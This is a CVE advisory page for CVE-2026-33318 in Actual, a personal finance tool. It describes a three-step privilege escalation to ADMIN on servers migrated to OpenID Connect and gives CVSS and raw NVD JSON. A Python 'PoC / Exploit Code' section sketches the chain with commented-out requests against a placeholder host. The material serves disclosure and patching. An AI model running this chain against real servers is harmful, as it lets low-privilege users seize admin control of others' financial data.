Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-33318 CVSS 8.8 HIGH

CVE-2026-33318

Published: 2026-04-24 03:16:11
Last Modified: 2026-04-27 15:01:35

Description

Actual is a local-first personal finance tool. Prior to version 26.4.0, any authenticated user (including `BASIC` role) can escalate to `ADMIN` on servers migrated from password authentication to OpenID Connect. Three weaknesses combine: `POST /account/change-password` has no authorization check, allowing any session to overwrite the password hash; the inactive password `auth` row is never removed on migration; and the login endpoint accepts a client-supplied `loginMethod` that bypasses the server's active auth configuration. Together these allow an attacker to set a known password and authenticate as the anonymous admin account created during the multiuser migration. The three weaknesses form a single, sequential exploit chain β€” none produces privilege escalation on its own. Missing authorization on POST /change-password allows overwriting a password hash, but only matters if there is an orphaned row to target. Orphaned password row persisting after migration provides the target row, but is harmless without the ability to authenticate using it. Client-controlled loginMethod: "password" allows forcing password-based auth, but is useless without a known hash established by step 1. All three must be chained in sequence to achieve the impact. No single weakness independently results in privilege escalation. The single root cause is the missing authorization check on /change-password; the other two are preconditions that make it exploitable. Version 26.4.0 contains a fix.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:actualbudget:actual:*:*:*:*:*:node.js:*:* - VULNERABLE
Actual < 26.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-33318 # This script demonstrates the privilege escalation chain. TARGET_URL = "http://target-server.com" ATTACKER_SESSION = "valid_low_privilege_cookie" # Obtained via normal login s = requests.Session() s.headers.update({"Cookie": f"session={ATTACKER_SESSION}"}) # Step 1: Exploit missing auth check on /account/change-password # Overwrite the orphaned admin password hash new_password = "attacker_controlled_pwd" change_pwd_endpoint = f"{TARGET_URL}/account/change-password" payload_pwd = { "password": new_password # Note: Depending on implementation, might need to specify the target user ID (admin) } print(f"[1] Attempting to overwrite admin password hash...") # resp = s.post(change_pwd_endpoint, json=payload_pwd) # print(resp.status_code) # Step 2: Force login using client-supplied loginMethod login_endpoint = f"{TARGET_URL}/login" payload_login = { "loginMethod": "password", # Bypass OpenID Connect config "username": "admin", "password": new_password } print(f"[2] Attempting to login as admin using password auth...") # resp = s.post(login_endpoint, json=payload_login) # if resp.status_code == 200: # print("[!] Privilege Escalation Successful!")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33318", "sourceIdentifier": "[email protected]", "published": "2026-04-24T03:16:11.203", "lastModified": "2026-04-27T15:01:34.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Actual is a local-first personal finance tool. Prior to version 26.4.0, any authenticated user (including `BASIC` role) can escalate to `ADMIN` on servers migrated from password authentication to OpenID Connect. Three weaknesses combine: `POST /account/change-password` has no authorization check, allowing any session to overwrite the password hash; the inactive password `auth` row is never removed on migration; and the login endpoint accepts a client-supplied `loginMethod` that bypasses the server's active auth configuration. Together these allow an attacker to set a known password and authenticate as the anonymous admin account created during the multiuser migration. The three weaknesses form a single, sequential exploit chain β€” none produces privilege escalation on its own. Missing authorization on POST /change-password allows overwriting a password hash, but only matters if there is an orphaned row to target. Orphaned password row persisting after migration provides the target row, but is harmless without the ability to authenticate using it. Client-controlled loginMethod: \"password\" allows forcing password-based auth, but is useless without a known hash established by step 1. All three must be chained in sequence to achieve the impact. No single weakness independently results in privilege escalation. The single root cause is the missing authorization check on /change-password; the other two are preconditions that make it exploitable. Version 26.4.0 contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:actualbudget:actual:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "26.4.0", "matchCriteriaId": "5EC7E455-5004-4D86-9FBD-DD88A4C3A1AA"}]}]}], "references": [{"url": "https://actualbudget.org/blog/release-26.4.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/actualbudget/actual/security/advisories/GHSA-prp4-2f49-fcgp", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/actualbudget/actual/security/advisories/GHSA-prp4-2f49-fcgp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}